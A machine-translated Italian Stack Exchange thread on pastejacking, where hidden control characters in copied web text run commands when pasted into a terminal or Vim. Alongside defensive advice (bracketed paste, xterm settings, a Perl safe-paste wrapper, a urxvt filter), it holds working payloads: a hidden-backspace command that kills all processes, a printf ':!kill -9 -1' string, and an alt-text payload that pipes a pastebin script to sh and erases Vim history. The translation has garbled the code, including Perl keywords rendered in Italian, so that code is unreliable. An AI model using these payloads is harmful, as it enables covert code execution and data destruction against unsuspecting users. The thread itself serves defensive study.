Domanda:
Come posso proteggermi da questo tipo di abuso negli appunti?
sam hocevar
2013-07-18 05:08:49 UTC
view on stackexchange narkive permalink

Abuso degli appunti da siti web

Molti siti web utilizzano JavaScript o CSS per inserire o sostituire furtivamente il testo negli appunti dell'utente ogni volta che copiano informazioni dalla pagina. Per quanto ne so questo è utilizzato principalmente per scopi pubblicitari, ma è stato dimostrato PoC per gli exploit.

Tuttavia ho scoperto che non è nemmeno necessario JS o CSS per creare un exploit che ha effetti dannosi quando incollato in un terminale. Incollare caratteri backspace nascosti può cambiare l'intero significato di un comando di shell. Nemmeno incollare in un editor basato sui termini è sicuro. Incollare Esc seguito da :! può far sì che un'istanza di Vim in esecuzione esegua un comando di shell. Incollando ^ X ^ C uscirà da Emacs e / o anche da cat . Incollare ^ Z interromperà la maggior parte degli editor basati su termini e tornerà alla shell.

Ciò che lo rende peggiore è che molti siti Web affidabili non disinfettano questi caratteri non stampabili. Twitter filtra Esc ma non backspace. Pastebin.com non sembra filtrare nulla. Nemmeno Stack Exchange, da qui il seguente exploit ( ATTENZIONE: codice dannoso, NON copiare e incollare in un terminale Unix !! ) che potrebbe benissimo essere trasformato in qualcosa di peggio e più probabilità di essere incollato da una vittima:

 echo '.!: keS i3l ldKo -1 + 9 + 2-1'> / tmp / lolecho ':!. keS i3l ldKo -2 + 9 + 7-1 '>> / tmp / lolecho'.:! keS i3l ldKo -3 + 9 + 4-1 '>> / tmp / lolsleep 1md5sum / tmp / lol 

Modifica : i backspace grezzi ora sono filtrati da Stack Exchange, quindi questo PoC richiede & # sfugge. /Edit”

Ecco come lo rende Chrome:

Screenshot from Chrome

Firefox non si lascia ingannare facilmente, ma comunque rimane ignaro dell'approccio JS o CSS:

Screenshot from Firefox

E quando viene incollato in un terminale, uccide tutti i processi dell'utente.

Cosa fare fare?

Ciò che questo fondamentalmente mi dice è che non dovrei mai e poi mai copiare qualcosa da una pagina web e incollarlo in un'applicazione terminale . Bene, bene. Il mio ambiente di lavoro è fondamentalmente 1 browser web e 40 finestre / schede di terminale. Copio e incollo frammenti di codice tutto il tempo.

Ora, c'è qualcuno che può proteggermi dalle mie cattive abitudini (che, onestamente, non credo siano così cattive)? Fornitori di browser? Fornitori di terminali? Fornitori di sistemi di appunti? Forse un'applicazione di terze parti?

Ottima domanda! Non ho davvero nessuna risposta conveniente per te, a parte quello che sto facendo: utilizzare un editor di testo intermedio (impostato per visualizzare tutti i caratteri non stampabili) per le operazioni degli appunti e ispezionare i contenuti copiati effettivi prima di incollarli da qualche parte come un finestra del terminale, o anche nei file da compilare. Diventa la tua seconda natura in un attimo e ti suggerisco di avere sempre un'istanza del tuo editor di testo preferito in esecuzione per tali attività. Una delle prime cose che impari quando sei coinvolto nella sicurezza IT è che non esiste qualcosa come WYSIWYG. ;)
@Simon - Questa domanda è un po 'più specifica e quella possibile domanda duplicata purtroppo non fornisce a questa domanda qui risposte pertinenti. Fai in modo che gli utenti copino inavvertitamente qualcosa che non intendevano ottenere con altri mezzi che ricorrere a JavaScript. Ad esempio, potrebbe esserci un DIV 1x1 pixel con proprietà CSS impostate per abbinare il suo colore al colore di sfondo del testo e un overflow nascosto tra una delle due parole in un testo o anche singole lettere. Quello che sto dicendo è che questa domanda riguarda anche lo sfruttamento delle rappresentazioni visive dei testi, non solo degli appunti. ;)
Il problema con la * protezione * è che a volte si desidera copiare / incollare tali caratteri. Altrimenti tenderei ad adottare un approccio per utilizzare gli appunti per disinfettare l'input.
@Simon quell'altra domanda riguarda i siti web che leggono gli appunti dell'utente, cosa che comunque non dovrebbe mai accadere. La mia domanda riguarda i siti web che scrivono negli appunti, cosa che purtroppo accade sempre.
Utilizzo Firefox per Android e per qualche motivo non vedo caratteri non stampabili.E a proposito, puoi nascondere facilmente i caratteri non stampabili usando il carattere dove sono vuoti.
Sette risposte:
copy
2013-07-18 17:02:57 UTC
view on stackexchange narkive permalink

Potresti averlo indovinato, ma non usare mai la funzionalità di incolla dei terminali per incollare le cose in vim / emacs . È come inviare una serie di comandi all'editor, che può fare qualsiasi cosa.

Per questi motivi, gli editor hanno la propria funzionalità di copia-incolla, che non può essere iniettata. Ad esempio, in vim, dovresti usare il registro + per scambiare dati con gli appunti di sistema ( "+ p per incollare).

Per quanto riguarda il shell o altre applicazioni del terminale: è stato stabilito che non devi incollare dati non sicuri nel tuo terminale.

Esiste un plug-in safe-paste per zsh, che impedisce al codice di essere effettivamente eseguito quando incollato, ma qualcuno lo ha già sfruttato comunque.

Inoltre, una domanda simile (sull'incollamento accidentale ) è stato chiesto su apple.se. La maggior parte delle soluzioni potrebbe funzionare anche per te.

Aggiorna: in vim, se set mouse = a viene utilizzato, incollare con il pulsante centrale del mouse è sicuro. Puoi comunque incollare con Maiusc-Inserisci.

Con `" + p`, si presume una versione di `vim` costruita con il supporto X, e che` vim` ha accesso al display X che contiene la selezione X pertinente (per esempio, non funzionerebbe dopo un `ssh `(senza '-X` /` -Y`)).
Quel _safe-paste zsh plugin_ è sicuro con le versioni recenti di xterm (dalla 292) nella sua configurazione predefinita poiché xterm ora scarta la maggior parte dei caratteri di controllo (incluso ESC). Nota che funziona solo per il prompt `zsh`, non per altre applicazioni (sebbene alcune applicazioni come` vim` potrebbero anche essere estese per fare qualcosa di simile)
L'argomento del copia / incolla sicuro è stato trattato da [il team del sistema operativo Qubes] (https://www.qubes-os.org/doc/CopyPaste/). La loro conclusione è di convalidare / inserire nella lista bianca tutti i dati che passano negli appunti, e questo è ciò che devi fare ogni volta che due presidi che diffidano reciprocamente devono interagire. Potrebbe valere la pena menzionare questa regola pratica.
Questo fa sembrare che non possa mai essere reso sicuro da incollare in un prompt della shell del terminale.Ho fornito una [risposta] (https://security.stackexchange.com/a/184112/132634) che funziona per rendere il prompt della shell del terminale invulnerabile a entrambi gli exploit sulla pagina a cui ti sei collegato.
Stéphane Chazelas
2014-03-04 14:05:21 UTC
view on stackexchange narkive permalink

Tieni presente che dalla versione 292, xterm rimuove i caratteri di controllo ASCII tranne \ b , \ r , \ t , DEL (0x7f) e \ n (converte \ n in \ r come altri terminali ) e puoi ripristinarli con la risorsa allowPasteControls . Anche VTE (la libreria dell'emulatore di terminale usata da gnome-terminal , terminator , xfce-terminal ...) lo fa da ottobre 2015

Quindi, in quei terminali, ^ C , ^ [, ^ D , ^ Z , ^ \ , ^ U , ^ W non sono più un problema ma DEL, \ b , \ t (molto pericoloso con alcune configurazioni (inclusa quella predefinita) di zsh dove il completamento può espandere le sostituzioni dei comandi), \ r e \ n lo sono ancora.

xterm ha anche un paio di modalità di incolla che possono aiutare qui.

  • la modalità di incolla tra parentesi abilitata con la sequenza \ e [? 2004h utilizzata in alcuni plug-in zsh o vim safe -paste.

    zsh ( zle ) dalla 5.1 e bash ( readline ) dalla 4.4 ora hanno supporto per quello integrato. Sebbene sia abilitato per impostazione predefinita in zsh , è necessario per abilitarlo manualmente con bind 'set enable-bracketed-paste on' in bash (o nella configurazione readline in ~ / .inputrc o /etc/inputrc).

    Questo avvolge la selezione tra \ e [200 ~ e \ e [201 ~ .

    La maggior parte degli altri terminali moderni come quelli basati su VTE ( gnome-terminal , xfce-terminal , terminator ...), rxvt , konsole , OS / X Terminal ora supportano anche quello.

    In alcuni di questi altri terminali (o loro versioni) però (o con allowPasteControls in xterm ), questo è difettoso in quel \ e [201 ~ potrebbe apparire nella selezione e verrebbe preso come parentesi di chiusura.

    Ciò potrebbe essere risolto con parentesi come \ e \ e [201 ~ \ e [200 ~ 201 ~ , ma non è ancora fatto da nessun emulatore di terminale AFAIK (e significherebbe che l'applicazione vedrebbe diverse paste).

    ^ C / ^ Z / ^ \ causerebbe comunque l'invio di segnali al gruppo di processi in primo piano di il terminale se ISIG non era disabilitato nella disciplina della riga tty.

  • La modalità incolla tra virgolette abilitata con \ e [? 2005h sequenza (disabilitata con \e[?2005l).

    Questo antepone ogni carattere (in realtà byte) con un carattere ^ V .

    ^ V è il carattere predefinito lnext ( letterale successivo ) della disciplina di riga tty in modalità canonica ed è riconosciuto come tale anche da vi e altri editor e alcuni editor di riga come readline o zle di zsh .

    Quello non ha lo stesso problema come la modalità tra parentesi sopra, e ha il vantaggio di funzionare per la modalità canonica del terminale (come quando esegui cat > file ) e poche altre applicazioni ma ne ha alcune svantaggi:

    • newline e CR finiscono per essere visualizzati come ^ M . Ciò può essere evitato con un'altra sequenza di escape: \ e [? 2006h , ma ciò fa sì che le nuove righe vengano inserite come caratteri NUL in vim e mostrate come ^ J (a meno che tu non faccia stty -echoctl ) nella modalità canonica del terminale (sebbene sia solo un problema estetico).
    • Non funziona alla grande per multi- caratteri byte non inseriti correttamente in zle o vim , ad esempio.
    • alcune applicazioni visive non gestiscono ^ V come letterale successivo , quindi potrebbe essere comunque necessario disattivarlo selettivamente.
    • puoi non lo uso in vim come ^ V 1 per esempio non inserisce 1 ma ^ A lì.
    • Non sono a conoscenza di nessun altro terminale oltre a xterm che lo supporti, ma non ho condotto un sondaggio approfondito.
  • ti consente anche di definire la tua modalità di incolla tra parentesi tramite la configurazione. Ad esempio, con:

      XTerm * allowPasteControls: true XTerm.VT100.translations: #override \ Ctrl Shift<KeyPress> Insert: \ insert-formatted ("\ 033 [202 ~% S ~% s" , APPUNTI, PRINCIPALE, CUT_BUFFER0) " 

    inserirà APPUNTI / PRIMARIO / CUT_BUFFER0 come ^ [[202 ~ <size-in-bytes> ~ <content> su Maiusc + Ctrl + Inserisci . L'applicazione potrebbe quindi interpretarlo in modo affidabile (dovrebbe comunque disabilitare ISIG nella disciplina della riga tty).

Un altro approccio sarebbe quello di usa uno pseudo-tty wrapper che inserisce quei ^ V solo davanti ai caratteri di controllo. Tale wrapper dovrebbe essere in grado di rilevare i caratteri di controllo nelle paste con una certa affidabilità perché le reali pressioni dei tasti della tastiera invierebbero solo un carattere alla volta o una sequenza di caratteri che iniziano con ESC, mentre le paste ne invierebbero diversi alla volta .

Avresti ancora il problema delle nuove righe mostrate come ^ J nella modalità canonica del terminale o ^ @ in vim , ma questo potrebbe essere risolto con un po 'di collaborazione dalla shell

Una prova di concetto:

Da utilizzare ad esempio come:

  ./ safe-paste bash  

Per avviare una shell bash sotto quel wrapper.

  #! / usr / bin / perluse IO :: Pty; usa IO :: Stty; my $ pty = new IO :: Pty; my $ pid = fork ();
die "Impossibile eseguire il fork" se non definito $ pid; a meno che ($ pid) {$ pty->make_slave_controlling_terminal (); my $ slave = $ pty->slave (); chiudi $ pty; $ slave->clone_winsize_from (\ * STDIN); open (STDIN, "<&". $ slave->fileno ()) o die "Impossibile riaprire STDIN per la lettura, $! \ n"; open (STDOUT, ">&". $ slave->fileno ()) o die "Impossibile riaprire STDOUT in scrittura, $! \ n"; open (STDERR, ">&". $ slave->fileno ()) o die "Impossibile riaprire STDERR in scrittura, $! \ n"; chiudi $ slave; exec (@ARGV); die "Cannot exec (@ARGV): $!";} $ pty->close_slave (); $ SIG {WINCH} = sub {$ pty->slave->clone_winsize_from (\ * STDIN);}; my $ old = IO :: Stty :: stty (\ * STDIN, '-g'); IO :: Stty :: stty (\ * STDIN, 'raw', '-echo'); $ tty = fileno ($ pty); my ($ rin , $ ein) = ('', '', ''); vec ($ rin, 0, 1) = 1; vec ($ rin, $ tty, 1) = 1; vec ($ ein, $ tty, 1 ) = 1; my ($ to_stdout, $ to_tty) = ('', ''); my $ eof; $ SIG {CHLD} = sub {$ eof = 1}; until ($ eof && $ to_stdout eq '' && $ to_tty eq '') {my ($ rout, $ wout, $ eout, $ timeleft); la mia $ vittoria = ''; vec ($ win, 0, 1) = 1 if ($ to_stdout ne ""); vec ($ win, $ tty, 1) = 1 if ($ to_tty ne ""); ($ nfound, $ timeleft) = seleziona ($ rout = $ rin, $ wout = $ win, $ eout = $ ein, undef); if ($ nfound > 0) {if (vec ($ eout, $ tty, 1)) {print STDERR "Eccezione su $ tty \ n"; } if (vec ($ rout, 0, 1)) {my $ buf; if (sysread (STDIN, $ buf, 4096)) {if ($ buf = ~ /.[\0-\037\177”/ || $ buf = ~ / ^ (?: [\ 0- \ 032 \ 034 - \ 037] | \ 033. *? [~ A-zA-NP-Z]) ./) {$ buf = ~ s / [\ 0- \ 037 \ 177] / \ 026 $ & / g; # TODO: aggiungi la sanificazione UTF-8 $ buf = ~ y / \ r / \ n /; } $ to_tty. = $ buf; } altro {$ eof = 1; vec ($ rin, 0, 1) = 0; }} if (vec ($ rout, $ tty, 1)) {my $ buf; if (sysread ($ pty, $ buf, 4096)) {$ to_stdout. = $ buf; } altro {$ eof = 1;
vec ($ rin, $ tty, 1) = 0; $ to_tty = ''; }} if ($ to_tty ne '' && vec ($ wout, $ tty, 1)) {my $ written = syswrite ($ pty, $ to_tty); $ to_tty = substr ($ to_tty, $ scritto) se $ scritto; } if ($ to_stdout ne '' && vec (wout, 1, 1)) {my $ written = syswrite (STDOUT, $ to_stdout); $ to_stdout = substr ($ to_stdout, $ scritto) se $ scritto; }}} END {IO :: Stty :: stty (\ * STDIN, $ old)}  

Un approccio migliore sarebbe probabilmente usare un gestore di appunti in cui puoi specificare la modalità di incolla e questo segnalerebbe selezioni potenzialmente pericolose.

Quando incollare i controlli è disabilitato, non è necessaria la modalità di incolla tra parentesi, giusto?
@maxschlepzig, sì, c'è ancora un problema con TAB, ^ H, ^? E l'incolla tra parentesi ti consente di incollare più righe come ** una ** incolla, che puoi quindi rivedere prima di eseguire, mentre altrimenti ogni riga viene eseguita così com'èincollato.
Manishearth
2013-07-18 13:08:05 UTC
view on stackexchange narkive permalink

Bene, risulta che il mio attuale approccio agli appunti è efficace per mitigare questo problema.

Quando copio e incollo frammenti tra le schede, copio e incolla normalmente.

Tuttavia, quando copio e incolla in una sessione di terminale / PuTTY, io (essendo un po 'contrario alla modifica del testo nel terminale), di solito lo assemblo in Notepad ++ o Emacs (a seconda del sistema operativo) e poi copio- incolla il testo finale nel terminale. Entrambi gli editor mostrano caratteri di controllo (e altri caratteri non stampabili), quindi è facile notare qualsiasi intralcio lì.

Sfortunatamente non posso affermare di utilizzare l'approccio dell'editor di testo intermedio per motivi di sicurezza, è perché non sono ancora esperto in vim o in qualsiasi altro editor basato su terminale.

Ma poi, potrebbero esserci anche exploit incolla negli editor, come altri hanno sottolineato.
Thomas Pornin
2013-07-18 18:10:20 UTC
view on stackexchange narkive permalink

Potrei affermare che qualsiasi copia&paste di frammenti di codice è una cattiva abitudine, ma questo va oltre il problema. Personalmente digito tali elementi di codice invece di copiarli, ma questo perché di solito voglio cambiare alcune cose in essi o imparare a svolgere il compito in questione; o forse sono solo un maniaco delirante.

Quello che potresti fare è disinfettare automaticamente i contenuti degli appunti . Un'applicazione in background può monitorare costantemente il contenuto del buffer tagliato e rimuovere i caratteri di controllo; Non sono sicuro che X11 possa essere indotto a inviare un evento per una modifica del buffer di taglio, ma eseguire il polling 10 volte al secondo farebbe il trucco. La dualità X11 (buffer tagliati vs selezioni) renderà le cose un po 'più complesse ma credo che questo possa essere fatto (e, inoltre, credo che tu possa farlo).

La sanificazione dei contenuti può essere complicata. Ad esempio, supponi di rimuovere tutti i byte nell'intervallo 0..31 (i caratteri di controllo ASCII) eccetto la nuova riga (10), il ritorno a capo (13) e le tabulazioni (9). Quindi, se scrivo questo (sistema Linux):

  printf "\ xC0 \ x9B:! Kill -9 -1 \ n" | xclip  

e poi lo incollo in un'istanza vim in esecuzione in xterm (in modalità UTF-8), quindi uccido tutto i miei processi ... anche se il buffer di taglio non contiene mai alcun carattere di controllo "indesiderato" in alcun punto. La sequenza C0 9B non è UTF-8 valida, ma abbastanza vicina in modo che xterm proverà a decodificarla comunque e decodifica in 0x1B , aka Escape ... altre sequenze complicate includono E0 80 9B . Tieni presente che, sebbene UTF-8 valido mai includa un byte di valore C0 , potrebbe contenere byte di valore E0 , 80 e 9B (ma non in quella sequenza). Il processo di sanificazione quindi sarebbe meglio essere completo e rigoroso.

Una funzionalità aggiuntiva di tale strumento sarebbe quella di convertire automaticamente le sequenze CR + LF e CR solitario in LF. Forse converti i sanguinosi caratteri CP-1252 della gamma 128..159 nelle loro controparti normali e sane. Questo non è solo un problema di sicurezza; potrebbe essere uno strumento utile in situazioni non dannose.

Questo è pazzesco! : P Immagina di avere un processo casuale che altera gli appunti!
questo dovrebbe essere implementato come opzione per Klipper
Nota che `xterm` rimuove già tutti i ctrl ASCII (da 0x0 a 0x31) tranne` \ b` (sfortunatamente), `\ r`,` \ n` e `\ t` (a meno che tu non gli dica di non farlo con` allowPasteControls` risorsa).
Sembra che sia "vim", non "xterm", a trasformare "C0 9B" in "1B".
È il ruolo della disciplina della linea tty (software nel kernel) convertire CR in LF in input quando richiesto. `xterm` e la maggior parte se non tutti gli altri emulatori di terminale X11 convertono effettivamente LF in CR in paste poiché il tasto di invio / invio invia CR, non LF.
`xclip` imposta la selezione X" primaria ", non _cut buffer_. Gli emulatori di terminale interrogano solo i buffer di taglio (che sono proprietà X11 nella finestra principale) se (xterm e rxvt lo fanno, ma quelli basati su vte no) quando non c'è una selezione primaria (o appunti a seconda della funzione di incollaggio). I tamponi tagliati sono cose del passato che non vengono quasi più utilizzati al giorno d'oggi.
gravitation
2013-08-13 21:12:51 UTC
view on stackexchange narkive permalink

Ho risolto questo problema da solo di recente eseguendo il mio browser web in una macchina virtuale. La selezione x non è sincronizzata tra la VM e l'host, quindi non è più possibile per me fare clic con il pulsante centrale e incollare elementi dal Web in un terminale senza pensare.

Ma questo ti impedisce di copiare qualcosa dai siti web? Se è così, sembra un prezzo troppo alto da pagare nel compromesso tra sicurezza e convenienza.
In Virtualbox puoi definire la direzione in cui gli appunti possono sincronizzarsi (host-> guest, guest-> host o bidirezionale) e puoi cambiare l'impostazione facilmente (al volo con una mappa dei tasti se vuoi davvero essere paranoicoE pigro).
sh1
2018-04-10 12:43:43 UTC
view on stackexchange narkive permalink

Va ​​molto più in profondità rispetto alle modifiche di riga incorporate in cui dovresti almeno vedere cosa succede; o almeno vedere che qualcosa veniva nascosto. Potrei pubblicare un frammento di codice dall'aspetto benigno come questo:

 let t_BE = "\ <esc> [? 2004  h" 

Quindi prova a indurre le persone a copiarlo e incollarlo in uno specifico editor di testo in uno specifico emulatore di terminale, ad esempio suggerendo che è necessario mitigare un problema (forse anche un problema di sicurezza) che i due hanno quando operano insieme.

Il testo preformattato sopra mostra un'impostazione vim benigna, ma include un'immagine e utilizza il suo testo alternativo per includere il seguente payload quando viene copiato:

 \ e [201 ~ \ e: call system ('( curl -s https://pastebin.com/raw/zSBiFpKn|sh)&'):call histdel ('cmd', 'zSBiFpKn') a \ e [200 ~ 

(i codici di controllo sono incorporato come & # nn; sfugge nel codice sorgente del markdown, ma li ho modificati per chiarezza, qui)

Se copi il testo sopra puoi confermare di aver prelevato il payload con un comando come:

 xsel | hexdump -C 

Questa stringa presume che il target utilizzi vim dall'interno di un emulatore di terminale vulnerabile e non utilizzi la funzionalità degli appunti di X11. Inizia con la sequenza di escape per uscire dalla modalità di incolla tra parentesi in modo che i caratteri di controllo successivi vengano trattati come sequenze di tasti, quindi un altro escape per uscire dalla modalità di inserimento e quindi due comandi:

: call system ('(curl -s https://pastebin.com/raw/zSBiFpKn|sh)&')

per scaricare ed eseguire uno script di shell in background e:

: call histdel ('cmd ',' zSBiFpKn ') 

per eliminare i due comandi (o qualsiasi comando con la stringa corrispondente) dalla cronologia dei comandi in modo che non vengano scoperti in seguito e termina con il comando per rientrare in modalità di inserimento e la sequenza di escape per rientrare nella modalità di incolla tra parentesi, in modo che le cose siano coerenti quando il terminale aggiunge l'escape finale per uscire dalla modalità di incolla tra parentesi.

Se la modalità di incolla tra parentesi non è disponibile, nella stringa incollata nel buffer viene visualizzato un po 'di technobabble in più, ma altrimenti le cose dovrebbero comunque funzionare.

Dato che entrambi i comandi ritornano immediatamente, ci sono buone probabilità che " sarà completo prima che la schermata successiva ripercorra, quindi lo schermo non presenterà anomalie. L'emissione separata dei due comandi garantisce che si adattino a un terminale a 80 colonne: se la riga di comando deve essere espansa su più di una riga l'aggiornamento dello schermo è molto più complicato e più lento, quindi lo schermo può presentare problemi (a seconda sistema e terminale, immagino).

Se tutto funziona, l'attacco avviene in modo invisibile all'utente, e pensano di aver incollato con successo il testo che hanno visto nel loro buffer e non è successo nient'altro. Ci sarà una discontinuità nella numerazione della cronologia dei comandi, ma nessuna spiegazione ovvia per questo.

Per completare questo in una risposta; questa dimostrazione è per lo più storica. La modalità Incolla tra parentesi è ampiamente supportata e nella maggior parte dei terminali non è possibile interromperla con gli escape incorporati (controllare questo e aggiornare / segnalare se necessario). Dovresti configurare la shell, i tuoi editor e qualsiasi altra cosa in cui potresti incollare per abilitare la modalità di incolla tra parentesi.

Il mio browser (Firefox) copia ancora questo testo.E questo non è affatto nuovo, questo è un problema ben noto.
@forest, è un noto vettore di attacco da almeno 20 anni;eppure il tuo browser rimane vulnerabile e mi stai dicendo che è una vecchia notizia?Ho fatto dei test su Firefox prima di postare, in particolare per assicurarmi che non stavo dimostrando qualcosa di ancora praticabile.Perché non sei aggiornato?
Nota inoltre, ho pubblicato questo PoC nel centro copia-incolla di Internet.Chiunque abbia copiato qualcosa da Stack Exchange e incollato in una finestra di terminale deve chiedersi se è stato compromesso senza nemmeno rendersene conto.
Essere vecchie notizie ed essere ancora una minaccia praticabile non si escludono a vicenda.E il mio browser è aggiornato.Sto usando l'ultima versione di Firefox ESR.Nota che, l'ultima volta che ho controllato (circa un anno fa), questo era valido anche per Chromium.Non ero a conoscenza del fatto che alcun browser avesse nemmeno tentato di mitigare questa vasta classe di problemi.
@forest, forse prova il normale Firefox.Ho testato Chrome, FIrefox e Edge e hanno tutti eliso il testo alternativo (IE e Chrome mobile no), ma questo è un nuovo comportamento che si è manifestato negli ultimi due mesi dall'ultima volta che li ho testati tutti per lo stesso trucco.
ESR è "Firefox normale".È la versione estesa standard.Tutto quello che ho fatto è stato evidenziare, copiare e quindi incollare nella barra degli indirizzi per vedere i risultati.
Sto usando Firefox Quantum 59.0.2 (59.0.1 fino a pochi secondi fa), ma [questa immagine] (https://www.mozilla.org/en-US/firefox/organizations/) in qualche modo implica chepotresti avere 52 anni, ma non ne so molto.triple-cilck, ^ C, ^ T, ^ V e tutto quello che ottengo è il testo visibile.In ogni caso, non sono ancora andato a scoprire perché è avvenuto questo cambiamento.Ho appena notato che sembrava esserci un movimento recente in più browser.
Interessante.Deve essere abbastanza recente da non averlo perso.Buono a sapersi che i fornitori di browser stanno effettivamente lavorando su questo (ora se solo Firefox facesse quello che fa Chromium per proteggere dagli omografi IDN ...)
@forest, Potrei essermi sbagliato completamente su altri browser.Si è scoperto che c'era qualcosa di strano nel collegamento dell'immagine che stavo usando che ha annullato il testo alternativo (sulla maggior parte dei browser).Non ho idea di come funzionasse, ma cambiando l'immagine il payload diventa disponibile ovunque.
Dispari.Immagino che il problema non sia risolto dopotutto.È interessante notare che mi hai appena ricordato un sogno che ho fatto la scorsa notte su questa stessa vulnerabilità.Non ricordo cosa sia successo, ma è una strana coincidenza.
JoL
2018-04-20 02:47:15 UTC
view on stackexchange narkive permalink

Quello che faccio per proteggermi da ciò è utilizzare la modalità incolla tra parentesi. Come ha detto Stéphane, zsh e urxvt lo supportano di default. Se ti limiti a incollare solo quando ti trovi in ​​un prompt zsh in urxvt, l'unico vero problema che hai lasciato (non vedo alcun problema con ^ C o ^ Z che causano segnali in il prompt) è che l'incolla potrebbe contenere la sequenza di escape per terminare l'incolla e interpretare il resto come se fosse stato digitato.

Risolvere questo problema in sospeso è l'argomento di questa risposta. Scriverò quello che ho fatto per il mio caso, ma dovrebbe essere fattibile anche in altri terminali, se non per estensione, allora tramite patch.

urxvt supporta le estensioni perl. L'ho scritto in ~/.urxvt/ext/filter-paste:

  sub on_tt_paste {my ($ term, $ octets) = @_; $ ottetti = ~ s / \ x1b \ [201 ~ // g; $ term->tt_paste ($ ottetti); return true;}  

l'ha incluso nell'elenco delle estensioni perl da caricare in ~/.Xresources:

  URxvt. perl-ext-common: filter-paste  

e ricaricato la configurazione per le nuove finestre di terminale con xrdb ~ / .Xresources .

Con che, urxvt rimuove tutte le istanze della sequenza di escape della modalità incolla di chiusura da ciò che viene incollato nel terminale.

La pagina web, http://thejh.net/misc/website-terminal-copy- incolla, ha 2 esempi di exploit per questo al momento della scrittura. Prima di scrivere l'estensione, zsh con urxvt sarebbe invulnerabile per il primo esempio, ma non per il secondo che include la sequenza di escape per terminare la modalità paste. Dopo averlo scritto, nessuno dei due funzionava e il contenuto completo di ciò che era stato incollato veniva visualizzato nel prompt, aspettando un Invio prima di eseguirlo (zsh non eseguirà un comando incollato con la modalità incolla tra parentesi anche se contiene nuove righe finché non si preme Invio).

EDIT: richiesto dal commento di sh1, ho testato altri emulatori di terminale per vedere quali erano ancora vulnerabili.

 | - --------------- + --------- + -------- |
| terminale | versione | fisso || ---------------- + --------- + -------- || yakuake | 3.0.5 | ok || gnome-terminal | 3.28.1 | ok || konsole | 18.04.0 | ok || xterm | 332 | ok || sakura | 3.5.0 | ok || vte3 | 0.52.1 | ok || mastice | 0.71 | ok || termite | 14 | ok || st | 0.8.1 | fallito || qterminal | 0.14.1 | fallito || ---------------- + --------- + -------- | 

Tutte le versioni sono quelle attualmente presente al momento della scrittura nei repository dei pacchetti Archlinux (Archlinux è in fase di rilascio).

La maggior parte dei terminali non è vulnerabile all'iniezione di fuga.Urxvt è l'ultimo terminale che conosco con la vulnerabilità.PuTTY dovrebbe essere [corretto] (https://git.tartarus.org/?p=simon/putty.git;h=10c9104) nell'istantanea.
@sh1 Hai ragione.Ho testato alcuni terminali e aggiunto una tabella per mostrare quali sono OK e quali sono ancora vulnerabili.
PuTTY dovrebbe essere corretto, ora.
@sh1 Ho confermato e aggiornato la tabella.Grazie.


Questa domanda e risposta è stata tradotta automaticamente dalla lingua inglese. Il contenuto originale è disponibile su stackexchange, che ringraziamo per la licenza cc by-sa 3.0 con cui è distribuito.
Loading...